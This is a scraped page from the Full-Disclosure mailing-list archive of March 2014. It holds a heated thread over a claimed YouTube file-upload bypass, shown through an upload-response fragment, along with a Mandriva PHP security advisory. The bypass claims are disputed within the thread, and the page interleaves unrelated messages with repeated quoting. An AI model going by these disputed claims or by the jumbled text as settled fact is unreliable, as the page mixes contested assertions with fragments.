AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status:
ok, video_id:
KzKDtijwHFI,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}}

The above proof of concept demonstrates :

1. We have bypassed the security controls in Youtube and uploaded an
unexpected file type.
2. The file is persistent and has not been deleted by YouTube.
3. It can be queried for information since it is assigned a unique
upload_id.
4. It's successfully uploaded to youtube.com  As you can see it give out
the total bytes written to the remote network.
5. content_type:text/x-sh}]   --- The file is a shell
script script named 'file'
6. It can be enumerated by a non-authenticated user, remotely.


So that is a proof that the data are persistent.



 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a valid
 vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file
 of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen 
 on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com
  wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 

[Full-disclosure] [ MDVSA-2014:059 ] php

2014-03-14 Thread security
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2014:059
 http://www.mandriva.com/en/support/security/
 ___

 Package : php
 Date: March 14, 2014
 Affected: Business Server 1.0
 ___

 Problem Description:

 Multiple vulnerabilities has been discovered and corrected in php:
 
 Fixed bug #66731 (file: infinite recursion (CVE-2014-1943)).
 
 Fixed bug #66820 (out-of-bounds memory access in fileinfo
 (CVE-2014-2270)).
 
 Fixed bug #66815 (imagecrop(): insufficient fix for NULL defer
 (CVE-2013-7327)).
 
 The updated php packages have been upgraded to the 5.5.10 version
 which is not vulnerable to these issues.
 
 The php-xdebug packages has been upgraded to the latest 2.2.4 version
 that resolves numerous upstream bugs.
 
 Additionally, the PECL packages which requires so has been rebuilt
 for php-5.5.10.
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1943
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2270
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7327
 http://www.php.net/ChangeLog-5.php#5.5.10
 https://bugs.php.net/bug.php?id=66731
 https://bugs.php.net/bug.php?id=66820
 https://bugs.php.net/bug.php?id=66815
 http://pecl.php.net/package-changelog.php?package=xdebugrelease=2.2.4
 ___

 Updated Packages:

 Mandriva Business Server 1/X86_64:
 24737449ee336d5e9824e2f2ae543292  
mbs1/x86_64/apache-mod_php-5.5.10-1.1.mbs1.x86_64.rpm
 0b922c54fa9223fecc8d35a5c7c8599e  
mbs1/x86_64/lib64php5_common5-5.5.10-1.1.mbs1.x86_64.rpm
 7ee561479c57d59fd98a5501e9586500  
mbs1/x86_64/php-apc-3.1.15-1.4.mbs1.x86_64.rpm
 eb7de5759296f86517f5edfd9d4436ca  
mbs1/x86_64/php-apc-admin-3.1.15-1.4.mbs1.x86_64.rpm
 a1d9c94696da01a54ef8fdc514e87eeb  
mbs1/x86_64/php-bcmath-5.5.10-1.1.mbs1.x86_64.rpm
 1b2cd506955bff2be731071a094c722f  
mbs1/x86_64/php-bz2-5.5.10-1.1.mbs1.x86_64.rpm
 8960e53771c38895428275376133ad80  
mbs1/x86_64/php-calendar-5.5.10-1.1.mbs1.x86_64.rpm
 76ae075f4cb8bbd735289a6c1d06fd7a  
mbs1/x86_64/php-cgi-5.5.10-1.1.mbs1.x86_64.rpm
 12b695df15e1f8cb7b0a4dfe6c9aa088  
mbs1/x86_64/php-cli-5.5.10-1.1.mbs1.x86_64.rpm
 f8f5f6b8ed7afaffe4893ee713198f96  
mbs1/x86_64/php-ctype-5.5.10-1.1.mbs1.x86_64.rpm
 1950d33f015eefc8014070526758ee8e  
mbs1/x86_64/php-curl-5.5.10-1.1.mbs1.x86_64.rpm
 9497d5da046377151644e93733cb074e  
mbs1/x86_64/php-dba-5.5.10-1.1.mbs1.x86_64.rpm
 ac662e5ef7059d81cccb62c7bbe97901  
mbs1/x86_64/php-devel-5.5.10-1.1.mbs1.x86_64.rpm
 87a743ba4947af120c24da6115c7e6db  
mbs1/x86_64/php-doc-5.5.10-1.1.mbs1.noarch.rpm
 b941027ff5051dc2811b4263f6bf20b1  
mbs1/x86_64/php-dom-5.5.10-1.1.mbs1.x86_64.rpm
 77c456007f9d6e330bfa514dc7e2c71c  
mbs1/x86_64/php-enchant-5.5.10-1.1.mbs1.x86_64.rpm
 e14bbbfe6cbd0027eb92f2de676bda2b  
mbs1/x86_64/php-exif-5.5.10-1.1.mbs1.x86_64.rpm
 016db3c40dafc614f69ed163870d0ba9  
mbs1/x86_64/php-fileinfo-5.5.10-1.1.mbs1.x86_64.rpm
 800722c1127bf7f835fed88d5805612a  
mbs1/x86_64/php-filter-5.5.10-1.1.mbs1.x86_64.rpm
 c25709c616879f64ca095493a250e49a  
mbs1/x86_64/php-fpm-5.5.10-1.1.mbs1.x86_64.rpm
 dd3b14133c3e5e299976709acaba36f1  
mbs1/x86_64/php-ftp-5.5.10-1.1.mbs1.x86_64.rpm
 33285cc7d2f89640c84a89c2d78d4c1c  mbs1/x86_64/php-gd-5.5.10-1.1.mbs1.x86_64.rpm
 98815ed19f6a439995c257c86d3fd8e7  
mbs1/x86_64/php-gettext-5.5.10-1.1.mbs1.x86_64.rpm
 2c34c8d28d2bcf105deced29a743ce10  
mbs1/x86_64/php-gmp-5.5.10-1.1.mbs1.x86_64.rpm
 66f17761f797c9ba5b9f64359df0e444  
mbs1/x86_64/php-hash-5.5.10-1.1.mbs1.x86_64.rpm
 a9679cf58298c91fe11e9065888f3ecf  
mbs1/x86_64/php-iconv-5.5.10-1.1.mbs1.x86_64.rpm
 44c8fd8cbd7a749ce405eafcb5cfaba0  
mbs1/x86_64/php-imap-5.5.10-1.1.mbs1.x86_64.rpm
 de60f25c3e3da02a1ed96ea3c6b7d146  
mbs1/x86_64/php-ini-5.5.10-1.1.mbs1.x86_64.rpm
 674171b2daf508b7709ec0fa39f3dadb  
mbs1/x86_64/php-intl-5.5.10-1.1.mbs1.x86_64.rpm
 b4b75e252c03be45e1ea42d93cbb559d  
mbs1/x86_64/php-json-5.5.10-1.1.mbs1.x86_64.rpm
 10071e1f44d3ec6500559211168c3b4a  
mbs1/x86_64/php-ldap-5.5.10-1.1.mbs1.x86_64.rpm
 4b7e7d0a0b6adcca257a2fd124e62c58  
mbs1/x86_64/php-mbstring-5.5.10-1.1.mbs1.x86_64.rpm
 19345fe51062884bd7c9ff80f49dcbdb  
mbs1/x86_64/php-mcrypt-5.5.10-1.1.mbs1.x86_64.rpm
 e2a844b656f9ab03b731ad2f272b5d2b  
mbs1/x86_64/php-mssql-5.5.10-1.1.mbs1.x86_64.rpm
 4fcf706c941176818fdfc995fba8209c  
mbs1/x86_64/php-mysql-5.5.10-1.1.mbs1.x86_64.rpm
 46c3635f1e79e351b2d63d7be993557b  
mbs1/x86_64/php-mysqli-5.5.10-1.1.mbs1.x86_64.rpm
 6b652b39093992140614a97e4633ee52  
mbs1/x86_64/php-mysqlnd-5.5.10-1.1.mbs1.x86_64.rpm
 d8712b4ec5533dd53c3e1a6854a41612  
mbs1/x86_64/php-odbc-5.5.10-1.1.mbs1.x86_64.rpm
 58da4457f76d98468fbc2216a82a6210  

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Sergio 'shadown' Alvarez
Dear Nicholas Lemonias,

I don't use to get in these scrapy discussions, but yeah you are in a 
completetly different level if you compare yourself with Mario.
You are definitely a Web app/metasploit-user guy and pick up a discussion with 
a binary and memory corruption ninja exploit writter like Mario. You should 
know your place and shut up. Period.

Btw, if you dare discussing with a beast like lcamtuf, you are definitely out 
of your mind.

Cheers,
  Sergio.
-- Sergio

On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com wrote:
We are on a different level perhaps. We do certainly disagree on those
points.
I wouldn't hire you as a consultant, if you can't tell if that is a
valid
vulnerability..


Best Regards,
Nicholas Lemonias.

On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
the
 Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
the
 research community after all. If you are still on EFNet give me a
shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest
corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any
file of
 choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security
team feels
 that this would be necessary. This is unpaid work, so we are not so
keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias
athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is
not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),
security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a
proper
 SDLC (Build security in) as per Defense-in-Depth security
principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation
of
 Duties security principle was applied correctly by Google in term
of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always
say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly,
so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find
bugs.
  But after some 18 years in the industry, I now know that there's
an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your
thinking
  to others in a precise and internally consistent manner that
convinces
  others to act. We need this because the security of a system
can't be
  usefully described using abstract terms: even the academic
definitions
  ultimately boil down to saying the system is secure if it
doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved
for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one
of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and
 unacceptable,
 
  3) There must be a realistic 

[Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
Go to sleep.
-- Forwarded message --
From: Nicholas Lemonias. lem.niko...@googlemail.com
Date: Fri, Mar 14, 2014 at 2:16 PM
Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
To: Sergio 'shadown' Alvarez shad...@gmail.com


Go to sleep


On Fri, Mar 14, 2014 at 1:50 PM, Sergio 'shadown' Alvarez shad...@gmail.com
 wrote:

 Dear Nicholas Lemonias,

 I don't use to get in these scrapy discussions, but yeah you are in a
 completetly different level if you compare yourself with Mario.
 You are definitely a Web app/metasploit-user guy and pick up a discussion
 with a binary and memory corruption ninja exploit writter like Mario. You
 should know your place and shut up. Period.

 Btw, if you dare discussing with a beast like lcamtuf, you are definitely
 out of your mind.

 Cheers,
   Sergio.
 -- Sergio


 On Mar 14, 2014, Nicholas Lemonias. lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a valid
 vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file
 of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen 
 on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com
  wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so
 do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find
 bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your
 thinking
  to others in a precise and internally consistent manner that
 convinces
  others to act. We need this because the security of a system can't
 be
  usefully described using abstract terms: even the academic
 definitions
  ultimately boil down to saying the system is secure if it doesn't
 do
  the things we *really* don't 

  1   2   3   4   5   6   7   8   9   10   >